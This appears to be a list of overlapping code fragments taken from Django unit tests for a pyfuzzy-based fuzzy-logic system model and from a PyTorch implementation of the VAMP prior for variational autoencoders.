"angle_velocity.adjectives['stop'] = Adjective(Polygon([(-300.,0.),(0.,1.),(300.,0.)])) angle_velocity.adjectives['ccw_slow'] = Adjective(Polygon([(0.,0.),(300.,1.),(600.,0.)])) angle_velocity.adjectives['ccw_fast'] = Adjective(Polygon([(300.,0.),(600.,1.)])) position = InputVariable(fuzzify=Plain(),description='position',min=-20.,max=20.,unit='meter') system.variables['X']",
"position.adjectives['left_far'] = Adjective(Polygon([(-20.,1.),(-10.,0.)])) position.adjectives['left_near'] = Adjective(Polygon([(-20.,0.),(-5.,1.),(0.,0.)])) position.adjectives['stop'] = Adjective(Polygon([(-5.,0.),(0.,1.),(5.,0.)])) position.adjectives['right_near'] = Adjective(Polygon([(0.,0.),(5.,1.),(20.,0.)])) position.adjectives['right_far']",
"[m/s²] } pyfuzzy_system_expected.fuzzify(i_dict1) pyfuzzy_system_expected.inference() pyfuzzy_system_expected.defuzzify(output_dict1) new_pyfuzzy_system.fuzzify(i_dict2) new_pyfuzzy_system.inference() new_pyfuzzy_system.defuzzify(output_dict2) pyfuzzy_system_expected.calculate(i_dict1, output_dict1) new_pyfuzzy_system.calculate(i_dict2, output_dict2) self.assertEquals(output_dict1['a'],",
"output_dict2['a']) def test_system_from_pyfuzzy_with_other_input(self): \" shoud return the correct corresponding Model for the pyfuzzy",
"new_rule.CER) self._test_operator(rule.operator, new_rule.operator) def _test_operator(self, operator, new_operator): \"test only a given rule\" self.assertIsInstance(new_operator,",
"!= %s in %s\" % (membership, new_membership, adj) ) def _test_set(self, set, new_set):",
"Not( Compound( AlgebraicProduct(), Compound( AlgebraicSum(), Input(system.variables[\"X\"].adjectives[\"left_near\"]), Input(system.variables[\"X\"].adjectives[\"left_far\"]) ), Compound( EinsteinSum(), Input(system.variables[\"dX_dT\"].adjectives[\"left_slow\"]), Input(system.variables[\"dX_dT\"].adjectives[\"left_fast\"]) )",
"self._createSystem() new_pyfuzzy_system = SystemModel.from_pyfuzzy(pyfuzzy_system_expected).get_pyfuzzy() self._test_rules_adj_in_out_adjs(pyfuzzy_system_expected) self._test_rules_adj_in_out_adjs(new_pyfuzzy_system) def test_system_from_pyfuzzy_changing_a_single_rule(self): \"test if work changing a",
"import Polygon from fuzzy.defuzzify.COG import COG pyfuzzy_system_expected = self._createSystem() new_pyfuzzy_system = self._createSystem() INF",
"self._test_adj(rule.adjective, new_rule.adjective) self._test_norm(rule.CER, new_rule.CER) self._test_norm(rule.CER, new_rule.CER) self._test_operator(rule.operator, new_rule.operator) def _test_operator(self, operator, new_operator): \"test",
"-*- import inspect import mock from django.test import TestCase from fuzzy_modeling.tests.utils import ResetMock",
"reset_mock(SystemModel,'outputvariablemodel_set') # reset_mock(SystemModel,'rulemodel_set') pass def tearDown(self): \"\"\"And kill it when done\"\"\" self.reset_all_pre_mocks(SystemModel) def",
"e: # self.assertRaises(Exception, new_set.getCOG) self.assertRaisesMessage(Exception, e.message, new_set.getCOG) else: new_cog = new_set.getCOG() self.assertEquals(new_cog, cog)",
"def _test_set(self, set, new_set): \" test only a given set \" self.assertIsInstance(new_set, set.__class__)",
"TestCase from fuzzy_modeling.tests.utils import ResetMock from fuzzy_modeling.models.systems import SystemModel from fuzzy.System import System",
"(never overrided the object.__init__) except TypeError: pass for param_name in params: arg =",
"= mock.Mock() var.name = name var.get_pyfuzzy = lambda systme=None: name return var def",
"system is to control the inverted pendulum into an upright position as well",
"[m] input_dict[\"dX_dT\"] = 500.0 #: velocity [m/s] input_dict[\"Phi\"] = math.radians(270.0) #: angle [rad]",
"190.0 #: position [m] input_dict[\"dX_dT\"] = 500.0 #: velocity [m/s] input_dict[\"Phi\"] = math.radians(270.0)",
"Compound( AlgebraicProduct(), Input(system.variables[\"Phi\"].adjectives[\"up_right\"]), Input(system.variables[\"dPhi_dT\"].adjectives[\"ccw_slow\"]) ), Compound( AlgebraicProduct(), Input(system.variables[\"Phi\"].adjectives[\"up_left\"]), Input(system.variables[\"dPhi_dT\"].adjectives[\"cw_slow\"]) ) ), CER=CER )",
"Adjective(Polygon([(-20.,0.),(-5.,1.),(0.,0.)])) position.adjectives['stop'] = Adjective(Polygon([(-5.,0.),(0.,1.),(5.,0.)])) position.adjectives['right_near'] = Adjective(Polygon([(0.,0.),(5.,1.),(20.,0.)])) position.adjectives['right_far'] = Adjective(Polygon([(10.,0.),(20.,1.)])) velocity = InputVariable(fuzzify=Plain(),description='velocity',min=-10.,max=10.,unit='meter",
"Compound( AlgebraicSum(), Input(system.variables[\"X\"].adjectives[\"right_near\"]), Input(system.variables[\"X\"].adjectives[\"right_far\"]) ), Compound( DombiUnion(0.25), Input(system.variables[\"dX_dT\"].adjectives[\"right_slow\"]), Input(system.variables[\"dX_dT\"].adjectives[\"right_fast\"]) ) ), ), Input(system.variables[\"Phi\"].adjectives[\"up_left\"])",
"the expected pyfuzzy system pyfuzzy_system_expected = System(self.system_description) variable_dict = { var.name : var.get_pyfuzzy()",
"for var in self.input_variable_mock + self.output_variable_mock } pyfuzzy_system_expected.variables = variable_dict rules_dict = {",
") system.rules['tilts right'] = Rule( adjective=a_right_slow, # it gets its value from here",
"def _test_adj(self, adj, new_adj): \" test only a given adjective \" self.assertIsInstance(new_adj, adj.__class__)",
"the corresponding rule \" from fuzzy_modeling.models import OutputVariableModel from fuzzy.norm.AlgebraicSum import AlgebraicSum from",
"Adjective(Polygon([(-10.,0.),(0.,1.),(10.,0.)]),COM=COM) acceleration.adjectives['right_slow'] = a_right_slow = Adjective(Polygon([(0.,0.),(10.,1.),(20.,0.)]),COM=COM) acceleration.adjectives['right_fast'] = a_right_fast = Adjective(Polygon([(10.,0.),(20.,1.),(50.,0.)]),COM=COM) from fuzzy.Rule",
"\"\"\"And kill it when done\"\"\" self.reset_all_pre_mocks(SystemModel) def _named_and_pyfuzzymixin_mock(self, name): \"\"\" mock a variable",
"self._createSystem() new_pyfuzzy_system = self._createSystem() a_right_fast = new_pyfuzzy_system.variables[\"a\"].adjectives[\"right_fast\"] far_right = Rule( adjective=a_right_fast, # it",
"AlgebraicSum() COM = AlgebraicSum() CER = AlgebraicProduct() COG = COG(INF=INF,ACC=ACC,failsafe = 0., segment_size=0.5)",
"= Adjective(Polygon([(-10.,0.),(-2.,1.),(0.,0.)])) velocity.adjectives['stop'] = Adjective(Polygon([(-2.,0.),(0.,1.),(2.,0.)])) velocity.adjectives['right_slow'] = Adjective(Polygon([(0.,0.),(2.,1.),(10.,0.)])) velocity.adjectives['right_fast'] = Adjective(Polygon([(5.,0.),(10.,1.)])) acceleration =",
"rule\" from fuzzy.Rule import Rule from fuzzy.operator.Input import Input from fuzzy.norm.AlgebraicProduct import AlgebraicProduct",
"a_stop = Adjective(Polygon([(-10.,0.),(0.,1.),(10.,0.)]),COM=COM) acceleration.adjectives['right_slow'] = a_right_slow = Adjective(Polygon([(0.,0.),(10.,1.),(20.,0.)]),COM=COM) acceleration.adjectives['right_fast'] = a_right_fast = Adjective(Polygon([(10.,0.),(20.,1.),(50.,0.)]),COM=COM)",
"CER=CER ) far_right.name = 'far right' rule_model = RuleModel.from_pyfuzzy(far_right, new_pyfuzzy_system, system_model) new_rule =",
"inputvariablemodel_set.all = lambda : self.input_variable_mock self.set_pre_mock(SystemModel,'inputvariablemodel_set') SystemModel.inputvariablemodel_set = inputvariablemodel_set # mocking outputvariablemodel_set outputvariablemodel_set",
"rule in pyfuzzy_system_expected.rules.items(): new_rule = new_pyfuzzy_system.rules[rule_name] self._test_rule(rule, new_rule) pyfuzzy_system_expected.calculate(i_dict1, output_dict1) new_pyfuzzy_system.calculate(i_dict2, output_dict2) self.assertEquals(output_dict1['a'],",
"param_name) self.assertEquals(new_arg, arg) cog = None new_cog = None try: cog = set.getCOG()",
"CER = AlgebraicProduct() pyfuzzy_system_expected = self._createSystem() new_pyfuzzy_system = self._createSystem() system_model = SystemModel.from_pyfuzzy(self._createSystem()) output_a",
"a given fuzzify \" self.assertIsInstance(new_fuzzify, fuzzify.__class__) def _test_defuzzify(self, defuzzify, new_defuzzify): \" test only",
"CER = AlgebraicProduct() COG = COG(INF=INF,ACC=ACC,failsafe = 0., segment_size=0.5) from fuzzy.InputVariable import InputVariable",
") ), CER=CER ) return system def test_system_from_pyfuzzy(self): \" shoud return the correct",
"for arg in inspect.getargspec(defuzzify.__init__).args: if arg != 'self' and arg != 'INF' and",
"= getattr(new_set, param_name) self.assertEquals(new_arg, arg) cog = None new_cog = None try: cog",
"self.assertDictEqual(pyfuzzy_system_expected.variables, new_pyfuzzy_system.variables) self.assertDictEqual(pyfuzzy_system_expected.rules, new_pyfuzzy_system.rules) @classmethod def _createSystem(cls): import fuzzy.System system = fuzzy.System.System(description= \"\"\"This",
"position.adjectives['left_near'] = Adjective(Polygon([(-20.,0.),(-5.,1.),(0.,0.)])) position.adjectives['stop'] = Adjective(Polygon([(-5.,0.),(0.,1.),(5.,0.)])) position.adjectives['right_near'] = Adjective(Polygon([(0.,0.),(5.,1.),(20.,0.)])) position.adjectives['right_far'] = Adjective(Polygon([(10.,0.),(20.,1.)])) velocity",
"from fuzzy.System import System class SystemModelTest(TestCase, ResetMock): def setUp(self): # self.aluno = mommy.make_one(Aluno)",
"for param_name in params: arg = getattr(set, param_name) new_arg = getattr(new_set, param_name) self.assertEquals(new_arg,",
"AlgebraicProduct() pyfuzzy_system_expected = self._createSystem() new_pyfuzzy_system = self._createSystem() a_right_fast = new_pyfuzzy_system.variables[\"a\"].adjectives[\"right_fast\"] far_right = Rule(",
"if arg != 'self' and arg != 'INF' and arg != 'ACC': params.append(arg)",
"AlgebraicProduct CER = AlgebraicProduct() pyfuzzy_system_expected = self._createSystem() new_pyfuzzy_system = self._createSystem() a_right_fast = new_pyfuzzy_system.variables[\"a\"].adjectives[\"right_fast\"]",
"output_dict2) self.assertNotEquals(output_dict1['a'], output_dict2['a']) def test_output_variable_changing_one_set_and_rule(self): \" should return the correct output when changing",
"a rule has the same adjectives as the output\" pyfuzzy_system_expected = self._createSystem() new_pyfuzzy_system",
"from fuzzy.norm.Max import Max #from fuzzy.norm.Min import Min #from fuzzy.norm.BoundedDifference import BoundedDifference #from",
"input_dict = {} input_dict[\"X\"] = 190.0 #: position [m] input_dict[\"dX_dT\"] = 500.0 #:",
"# new_rule.operator = Input(new_pyfuzzy_system.variables[\"Phi\"].adjectives[\"up_more_right\"]) new_pyfuzzy_system.rules['far right'] = new_rule self._test_rules_adj_in_out_adjs(new_pyfuzzy_system) import math input_dict =",
"import COG pyfuzzy_system_expected = self._createSystem() new_pyfuzzy_system = self._createSystem() INF = AlgebraicProduct() ACC =",
"a_right_fast = Adjective(Polygon([(10.,0.),(20.,1.),(50.,0.)]),COM=COM) from fuzzy.Rule import Rule from fuzzy.norm.Max import Max #from fuzzy.norm.Min",
"var in self.input_variable_mock + self.output_variable_mock } pyfuzzy_system_expected.variables = variable_dict rules_dict = { rule.name",
"new_pyfuzzy_system.rules[rule_name] self._test_rule(rule, new_rule) pyfuzzy_system_expected.calculate(i_dict1, output_dict1) new_pyfuzzy_system.calculate(i_dict2, output_dict2) self.assertEquals(output_dict1['a'], output_dict2['a']) def _test_rules_adj_in_out_adjs(self, system): \"test",
"= new_set.getCOG() self.assertEquals(new_cog, cog) self.assertEquals(new_set.points, set.points) def _test_norm(self, norm, new_norm): \" test only",
"'fuzzify'): for adj_name, adj in var.adjectives.items(): outputs_adjs.append(adj) for rule_name, rule in system.rules.items(): self.assertIn(rule.adjective,",
"test_output_variable_changing_one_sets_only(self): \" should return the correct output when changing all the sets to",
"it gets its value from here operator=Input(new_pyfuzzy_system.variables[\"Phi\"].adjectives[\"up_more_right\"]), CER=CER ) far_right.name = 'far right'",
"from fuzzy.Adjective import Adjective from fuzzy.set.Polygon import Polygon from fuzzy.defuzzify.COG import COG pyfuzzy_system_expected",
"when only changing the set to a SetModel in th System \" from",
"SystemModelTest(TestCase, ResetMock): def setUp(self): # self.aluno = mommy.make_one(Aluno) # from fuzzy_modeling.models.systems import SystemModel",
"new_pyfuzzy_system = self._createSystem() system_model = SystemModel.from_pyfuzzy(self._createSystem()) output_a = new_pyfuzzy_system.variables[\"a\"] output_a.name = 'a' a_right_fast",
"_test_rules_adj_in_out_adjs(self, system): \"test if all the rules's adj are the same instance of",
"here operator=Input(new_pyfuzzy_system.variables[\"Phi\"].adjectives[\"up_more_right\"]), CER=CER ) new_pyfuzzy_system.rules['far right'] = far_right self._test_rules_adj_in_out_adjs(new_pyfuzzy_system) import math input_dict =",
"Adjective(Polygon([(-10.,1.),(-5.,0.)])) velocity.adjectives['left_slow'] = Adjective(Polygon([(-10.,0.),(-2.,1.),(0.,0.)])) velocity.adjectives['stop'] = Adjective(Polygon([(-2.,0.),(0.,1.),(2.,0.)])) velocity.adjectives['right_slow'] = Adjective(Polygon([(0.,0.),(2.,1.),(10.,0.)])) velocity.adjectives['right_fast'] = Adjective(Polygon([(5.,0.),(10.,1.)]))",
"right' rule_model = RuleModel.from_pyfuzzy(far_right, new_pyfuzzy_system, system_model) new_rule = rule_model.get_pyfuzzy(new_pyfuzzy_system) # new_rule.operator = Input(new_pyfuzzy_system.variables[\"Phi\"].adjectives[\"up_more_right\"])",
"its value from here operator=Compound( AlgebraicProduct(), Input(system.variables[\"Phi\"].adjectives[\"down\"]), Compound( AlgebraicProduct(), Input(system.variables[\"dPhi_dT\"].adjectives[\"ccw_slow\"]), Input(system.variables[\"dPhi_dT\"].adjectives[\"ccw_slow\"]), ) ),",
"= new_a_stop self._test_new_vs_expected_fuzzy_sysem(new_pyfuzzy_system, pyfuzzy_system_expected) def test_output_variable_only(self): \" should return the correct outout when",
") def test_set_only(self): \" should return the correct outout when only changing the",
"new instance of same value \" from fuzzy.norm.AlgebraicSum import AlgebraicSum from fuzzy.norm.AlgebraicProduct import",
"pass for param_name in params: arg = getattr(norm, param_name) new_arg = getattr(new_norm, param_name)",
"SystemModel.inputvariablemodel_set = inputvariablemodel_set # mocking outputvariablemodel_set outputvariablemodel_set = mock.Mock() outputvariablemodel_set.all = lambda :",
"= mock.Mock() inputvariablemodel_set.all = lambda : self.input_variable_mock self.set_pre_mock(SystemModel,'inputvariablemodel_set') SystemModel.inputvariablemodel_set = inputvariablemodel_set # mocking",
"given rule\" self.assertIsInstance(new_operator, operator.__class__) if operator.__class__.__name__ == 'Compound': self._test_norm(operator.norm, new_operator.norm) for i_inputs in"
] |
[
"\"\"\"Varational Mixture of Posteriors prior by <NAME> Welling (2017). URL --- https://arxiv.org/abs/1705.07120 \"\"\"",
"URL --- https://arxiv.org/abs/1705.07120 \"\"\" def __init__(self, encoder, n_sample=50): super().__init__() self.encoder = encoder #",
"q.rsample().reshape(*index.shape, *self.event_shape) def rsample(self, sample_shape): r\"\"\"Draw diffenretiable variates from VAMP. Details ------- Since",
"reset_pseudoinputs(self): self.pseudoinputs.data.normal_(mean=0., std=0.01) @property def event_shape(self): return self.encoder.event_shape def rsample_from_index(self, index): \"\"\"Draw diffenretiable",
"def rsample_from_index(self, index): \"\"\"Draw diffenretiable variates from VAMP modes specified by `index`. \"\"\"",
"from the data. It the following mixture $ \\pi(z) = \\tfrac1K \\sum_k q(z",
"and fixed, there is no need for REINFORCE. \"\"\" if not isinstance(sample_shape, torch.Size):",
"q has batch_shape `n_sample` (q_k(z) = q(z \\mid u_k)) q = self.encoder(self.pseudoinputs) #",
"n_sample`, # where `batch_shape` is the leading dimensions of `value` log_q = q.log_prob(value.unsqueeze(-n_dim-1))",
"variates from VAMP modes specified by `index`. \"\"\" q = self.encoder(self.pseudoinputs[index.flatten()]) return q.rsample().reshape(*index.shape,",
"vamp is \\tfrac1K \\sum_k q(z \\mid u_k) # log-sum-exp-average along the pseudoinput dimension",
"value so that `log_q` has shape `*batch_shape x n_sample`, # where `batch_shape` is",
"def rsample(self, sample_shape): r\"\"\"Draw diffenretiable variates from VAMP. Details ------- Since VAMP is",
"= torch.randint(len(self.pseudoinputs), size=(sample_shape.numel(),)) return self.rsample_from_index(index.reshape(*sample_shape)) @torch.no_grad() def sample(self, sample_shape): \"\"\"Generate a `sample_shape` shaped",
"of Posteriors) is variant of emprirical Bayes prior learnt long with the VAE",
"uniformly random, and not learnable, thus no need to backprop # through it",
"the leading dimensions of `value` log_q = q.log_prob(value.unsqueeze(-n_dim-1)) # vamp is \\tfrac1K \\sum_k",
"= len(self.event_shape) assert value.shape[-n_dim:] == self.event_shape # q has batch_shape `n_sample` (q_k(z) =",
"emprirical Bayes prior learnt long with the VAE from the data. It the",
"= self.encoder(self.pseudoinputs[index.flatten()]) return q.rsample().reshape(*index.shape, *self.event_shape) def rsample(self, sample_shape): r\"\"\"Draw diffenretiable variates from VAMP.",
"# broadcast value so that `log_q` has shape `*batch_shape x n_sample`, # where",
"$ \\pi(z) = \\tfrac1K \\sum_k q(z \\mid u_k) $ where $q(z|x)$ is the",
"= \\log \\Bigl( \\sum_k \\exp{ \\{ \\log q(z\\mid u_k) \\} } \\Bigr) -",
"the VAE's encoder at each pseudoinput: $$ \\log \\pi(z) = \\log \\Bigl( \\sum_k",
"torch.Size): sample_shape = torch.Size(sample_shape) # index is uniformly random, and not learnable, thus",
"return self.encoder.event_shape def rsample_from_index(self, index): \"\"\"Draw diffenretiable variates from VAMP modes specified by",
"diffenretiable variates from VAMP modes specified by `index`. \"\"\" q = self.encoder(self.pseudoinputs[index.flatten()]) return",
"r\"\"\"Differentiable log-probability of the VAMP prior. Details ------- VAMP prior (Varational Mixture of",
"pseudoinputs self.pseudoinputs = torch.nn.Parameter( torch.Tensor(n_sample, *encoder.input_shape) ) self.reset_pseudoinputs() def reset_pseudoinputs(self): self.pseudoinputs.data.normal_(mean=0., std=0.01) @property",
"of the VAMP prior. Details ------- VAMP prior (Varational Mixture of Posteriors) is",
"dimensions of `value` log_q = q.log_prob(value.unsqueeze(-n_dim-1)) # vamp is \\tfrac1K \\sum_k q(z \\mid",
"sample(self, sample_shape): \"\"\"Generate a `sample_shape` shaped sample from VAMP.\"\"\" return self.rsample(sample_shape) def log_prob(self,",
"\\mid u_k)) q = self.encoder(self.pseudoinputs) # broadcast value so that `log_q` has shape",
"= encoder # pseudoinputs self.pseudoinputs = torch.nn.Parameter( torch.Tensor(n_sample, *encoder.input_shape) ) self.reset_pseudoinputs() def reset_pseudoinputs(self):",
"are learnable `pseudoinputs`, that detrmine the modes of the prior. The log-probability is",
"Details ------- Since VAMP is $\\pi(z) = \\frac1K \\sum_k q(z\\mid u_k)$, i.e. the",
"the encoder network (with some distribution on output) and $u_k$ are learnable `pseudoinputs`,",
"$ where $q(z|x)$ is the approximate posterior represented by the encoder network (with",
") self.reset_pseudoinputs() def reset_pseudoinputs(self): self.pseudoinputs.data.normal_(mean=0., std=0.01) @property def event_shape(self): return self.encoder.event_shape def rsample_from_index(self,",
"\\sum_k \\exp{ \\{ \\log q(z\\mid u_k) \\} } \\Bigr) - \\log K \\,.",
"\\exp{ \\{ \\log q(z\\mid u_k) \\} } \\Bigr) - \\log K \\,. $$",
"Welling (2017). URL --- https://arxiv.org/abs/1705.07120 \"\"\" def __init__(self, encoder, n_sample=50): super().__init__() self.encoder =",
"from VAMP modes specified by `index`. \"\"\" q = self.encoder(self.pseudoinputs[index.flatten()]) return q.rsample().reshape(*index.shape, *self.event_shape)",
"\\pi(z) = \\log \\Bigl( \\sum_k \\exp{ \\{ \\log q(z\\mid u_k) \\} } \\Bigr)",
"\\log q(z\\mid u_k) \\} } \\Bigr) - \\log K \\,. $$ \"\"\" n_dim",
"prior learnt long with the VAE from the data. It the following mixture",
"is the leading dimensions of `value` log_q = q.log_prob(value.unsqueeze(-n_dim-1)) # vamp is \\tfrac1K",
"(2017). URL --- https://arxiv.org/abs/1705.07120 \"\"\" def __init__(self, encoder, n_sample=50): super().__init__() self.encoder = encoder",
"encoder, n_sample=50): super().__init__() self.encoder = encoder # pseudoinputs self.pseudoinputs = torch.nn.Parameter( torch.Tensor(n_sample, *encoder.input_shape)",
"it and hence no need for reinforce gradients index = torch.randint(len(self.pseudoinputs), size=(sample_shape.numel(),)) return",
"Bayes prior learnt long with the VAE from the data. It the following",
"torch class VAMP(torch.nn.Module): \"\"\"Varational Mixture of Posteriors prior by <NAME> Welling (2017). URL",
"sample_shape = torch.Size(sample_shape) # index is uniformly random, and not learnable, thus no",
"n_sample=50): super().__init__() self.encoder = encoder # pseudoinputs self.pseudoinputs = torch.nn.Parameter( torch.Tensor(n_sample, *encoder.input_shape) )",
"log-sum-exp of log-probs of the VAE's encoder at each pseudoinput: $$ \\log \\pi(z)",
"mixture proibabilities are uniform and fixed, there is no need for REINFORCE. \"\"\"",
"that detrmine the modes of the prior. The log-probability is log-sum-exp of log-probs",
"value.shape[-n_dim:] == self.event_shape # q has batch_shape `n_sample` (q_k(z) = q(z \\mid u_k))",
"self.encoder(self.pseudoinputs[index.flatten()]) return q.rsample().reshape(*index.shape, *self.event_shape) def rsample(self, sample_shape): r\"\"\"Draw diffenretiable variates from VAMP. Details",
"gradients index = torch.randint(len(self.pseudoinputs), size=(sample_shape.numel(),)) return self.rsample_from_index(index.reshape(*sample_shape)) @torch.no_grad() def sample(self, sample_shape): \"\"\"Generate a",
"of emprirical Bayes prior learnt long with the VAE from the data. It",
"for REINFORCE. \"\"\" if not isinstance(sample_shape, torch.Size): sample_shape = torch.Size(sample_shape) # index is",
"\\sum_k q(z\\mid u_k)$, i.e. the mixture proibabilities are uniform and fixed, there is",
"are uniform and fixed, there is no need for REINFORCE. \"\"\" if not",
"VAE's encoder at each pseudoinput: $$ \\log \\pi(z) = \\log \\Bigl( \\sum_k \\exp{",
"return q.rsample().reshape(*index.shape, *self.event_shape) def rsample(self, sample_shape): r\"\"\"Draw diffenretiable variates from VAMP. Details -------",
"Posteriors prior by <NAME> Welling (2017). URL --- https://arxiv.org/abs/1705.07120 \"\"\" def __init__(self, encoder,",
"torch.nn.Parameter( torch.Tensor(n_sample, *encoder.input_shape) ) self.reset_pseudoinputs() def reset_pseudoinputs(self): self.pseudoinputs.data.normal_(mean=0., std=0.01) @property def event_shape(self): return",
"random, and not learnable, thus no need to backprop # through it and",
"from VAMP.\"\"\" return self.rsample(sample_shape) def log_prob(self, value): r\"\"\"Differentiable log-probability of the VAMP prior.",
"`index`. \"\"\" q = self.encoder(self.pseudoinputs[index.flatten()]) return q.rsample().reshape(*index.shape, *self.event_shape) def rsample(self, sample_shape): r\"\"\"Draw diffenretiable",
"by <NAME> Welling (2017). URL --- https://arxiv.org/abs/1705.07120 \"\"\" def __init__(self, encoder, n_sample=50): super().__init__()",
"broadcast value so that `log_q` has shape `*batch_shape x n_sample`, # where `batch_shape`",
"q(z \\mid u_k) $ where $q(z|x)$ is the approximate posterior represented by the",
"self.pseudoinputs.data.normal_(mean=0., std=0.01) @property def event_shape(self): return self.encoder.event_shape def rsample_from_index(self, index): \"\"\"Draw diffenretiable variates",
"\"\"\" if not isinstance(sample_shape, torch.Size): sample_shape = torch.Size(sample_shape) # index is uniformly random,",
"encoder at each pseudoinput: $$ \\log \\pi(z) = \\log \\Bigl( \\sum_k \\exp{ \\{",
"import math import torch class VAMP(torch.nn.Module): \"\"\"Varational Mixture of Posteriors prior by <NAME>",
"u_k)$, i.e. the mixture proibabilities are uniform and fixed, there is no need",
"there is no need for REINFORCE. \"\"\" if not isinstance(sample_shape, torch.Size): sample_shape =",
"need for reinforce gradients index = torch.randint(len(self.pseudoinputs), size=(sample_shape.numel(),)) return self.rsample_from_index(index.reshape(*sample_shape)) @torch.no_grad() def sample(self,",
"represented by the encoder network (with some distribution on output) and $u_k$ are",
"(with some distribution on output) and $u_k$ are learnable `pseudoinputs`, that detrmine the",
"mixture $ \\pi(z) = \\tfrac1K \\sum_k q(z \\mid u_k) $ where $q(z|x)$ is",
"# q has batch_shape `n_sample` (q_k(z) = q(z \\mid u_k)) q = self.encoder(self.pseudoinputs)",
"self.encoder.event_shape def rsample_from_index(self, index): \"\"\"Draw diffenretiable variates from VAMP modes specified by `index`.",
"prior by <NAME> Welling (2017). URL --- https://arxiv.org/abs/1705.07120 \"\"\" def __init__(self, encoder, n_sample=50):",
"through it and hence no need for reinforce gradients index = torch.randint(len(self.pseudoinputs), size=(sample_shape.numel(),))",
"variates from VAMP. Details ------- Since VAMP is $\\pi(z) = \\frac1K \\sum_k q(z\\mid",
"\"\"\" q = self.encoder(self.pseudoinputs[index.flatten()]) return q.rsample().reshape(*index.shape, *self.event_shape) def rsample(self, sample_shape): r\"\"\"Draw diffenretiable variates",
"import torch class VAMP(torch.nn.Module): \"\"\"Varational Mixture of Posteriors prior by <NAME> Welling (2017).",
"def reset_pseudoinputs(self): self.pseudoinputs.data.normal_(mean=0., std=0.01) @property def event_shape(self): return self.encoder.event_shape def rsample_from_index(self, index): \"\"\"Draw",
"and $u_k$ are learnable `pseudoinputs`, that detrmine the modes of the prior. The",
"__init__(self, encoder, n_sample=50): super().__init__() self.encoder = encoder # pseudoinputs self.pseudoinputs = torch.nn.Parameter( torch.Tensor(n_sample,",
"# index is uniformly random, and not learnable, thus no need to backprop",
"index is uniformly random, and not learnable, thus no need to backprop #",
"prior. The log-probability is log-sum-exp of log-probs of the VAE's encoder at each",
"is uniformly random, and not learnable, thus no need to backprop # through",
"= q(z \\mid u_k)) q = self.encoder(self.pseudoinputs) # broadcast value so that `log_q`",
"with the VAE from the data. It the following mixture $ \\pi(z) =",
"VAMP modes specified by `index`. \"\"\" q = self.encoder(self.pseudoinputs[index.flatten()]) return q.rsample().reshape(*index.shape, *self.event_shape) def",
"fixed, there is no need for REINFORCE. \"\"\" if not isinstance(sample_shape, torch.Size): sample_shape",
"# through it and hence no need for reinforce gradients index = torch.randint(len(self.pseudoinputs),",
"# vamp is \\tfrac1K \\sum_k q(z \\mid u_k) # log-sum-exp-average along the pseudoinput",
"self.reset_pseudoinputs() def reset_pseudoinputs(self): self.pseudoinputs.data.normal_(mean=0., std=0.01) @property def event_shape(self): return self.encoder.event_shape def rsample_from_index(self, index):",
"rsample_from_index(self, index): \"\"\"Draw diffenretiable variates from VAMP modes specified by `index`. \"\"\" q",
"not isinstance(sample_shape, torch.Size): sample_shape = torch.Size(sample_shape) # index is uniformly random, and not",
"VAMP prior (Varational Mixture of Posteriors) is variant of emprirical Bayes prior learnt",
"if not isinstance(sample_shape, torch.Size): sample_shape = torch.Size(sample_shape) # index is uniformly random, and",
"= torch.Size(sample_shape) # index is uniformly random, and not learnable, thus no need",
"VAMP.\"\"\" return self.rsample(sample_shape) def log_prob(self, value): r\"\"\"Differentiable log-probability of the VAMP prior. Details",
"`sample_shape` shaped sample from VAMP.\"\"\" return self.rsample(sample_shape) def log_prob(self, value): r\"\"\"Differentiable log-probability of",
"Mixture of Posteriors) is variant of emprirical Bayes prior learnt long with the",
"by the encoder network (with some distribution on output) and $u_k$ are learnable",
"n_dim = len(self.event_shape) assert value.shape[-n_dim:] == self.event_shape # q has batch_shape `n_sample` (q_k(z)",
"`batch_shape` is the leading dimensions of `value` log_q = q.log_prob(value.unsqueeze(-n_dim-1)) # vamp is",
"self.rsample_from_index(index.reshape(*sample_shape)) @torch.no_grad() def sample(self, sample_shape): \"\"\"Generate a `sample_shape` shaped sample from VAMP.\"\"\" return",
"i.e. the mixture proibabilities are uniform and fixed, there is no need for",
"encoder # pseudoinputs self.pseudoinputs = torch.nn.Parameter( torch.Tensor(n_sample, *encoder.input_shape) ) self.reset_pseudoinputs() def reset_pseudoinputs(self): self.pseudoinputs.data.normal_(mean=0.,",
"the VAE from the data. It the following mixture $ \\pi(z) = \\tfrac1K",
"q = self.encoder(self.pseudoinputs) # broadcast value so that `log_q` has shape `*batch_shape x",
"log_prob(self, value): r\"\"\"Differentiable log-probability of the VAMP prior. Details ------- VAMP prior (Varational",
"`n_sample` (q_k(z) = q(z \\mid u_k)) q = self.encoder(self.pseudoinputs) # broadcast value so",
"where `batch_shape` is the leading dimensions of `value` log_q = q.log_prob(value.unsqueeze(-n_dim-1)) # vamp",
"each pseudoinput: $$ \\log \\pi(z) = \\log \\Bigl( \\sum_k \\exp{ \\{ \\log q(z\\mid",
"super().__init__() self.encoder = encoder # pseudoinputs self.pseudoinputs = torch.nn.Parameter( torch.Tensor(n_sample, *encoder.input_shape) ) self.reset_pseudoinputs()",
"\\log \\pi(z) = \\log \\Bigl( \\sum_k \\exp{ \\{ \\log q(z\\mid u_k) \\} }",
"VAMP prior. Details ------- VAMP prior (Varational Mixture of Posteriors) is variant of",
"$\\pi(z) = \\frac1K \\sum_k q(z\\mid u_k)$, i.e. the mixture proibabilities are uniform and",
"rsample(self, sample_shape): r\"\"\"Draw diffenretiable variates from VAMP. Details ------- Since VAMP is $\\pi(z)",
"\\mid u_k) $ where $q(z|x)$ is the approximate posterior represented by the encoder",
"\"\"\" def __init__(self, encoder, n_sample=50): super().__init__() self.encoder = encoder # pseudoinputs self.pseudoinputs =",
"\\,. $$ \"\"\" n_dim = len(self.event_shape) assert value.shape[-n_dim:] == self.event_shape # q has",
"value): r\"\"\"Differentiable log-probability of the VAMP prior. Details ------- VAMP prior (Varational Mixture",
"It the following mixture $ \\pi(z) = \\tfrac1K \\sum_k q(z \\mid u_k) $",
"has batch_shape `n_sample` (q_k(z) = q(z \\mid u_k)) q = self.encoder(self.pseudoinputs) # broadcast",
"posterior represented by the encoder network (with some distribution on output) and $u_k$",
"is \\tfrac1K \\sum_k q(z \\mid u_k) # log-sum-exp-average along the pseudoinput dimension return",
"@property def event_shape(self): return self.encoder.event_shape def rsample_from_index(self, index): \"\"\"Draw diffenretiable variates from VAMP",
"<NAME> Welling (2017). URL --- https://arxiv.org/abs/1705.07120 \"\"\" def __init__(self, encoder, n_sample=50): super().__init__() self.encoder",
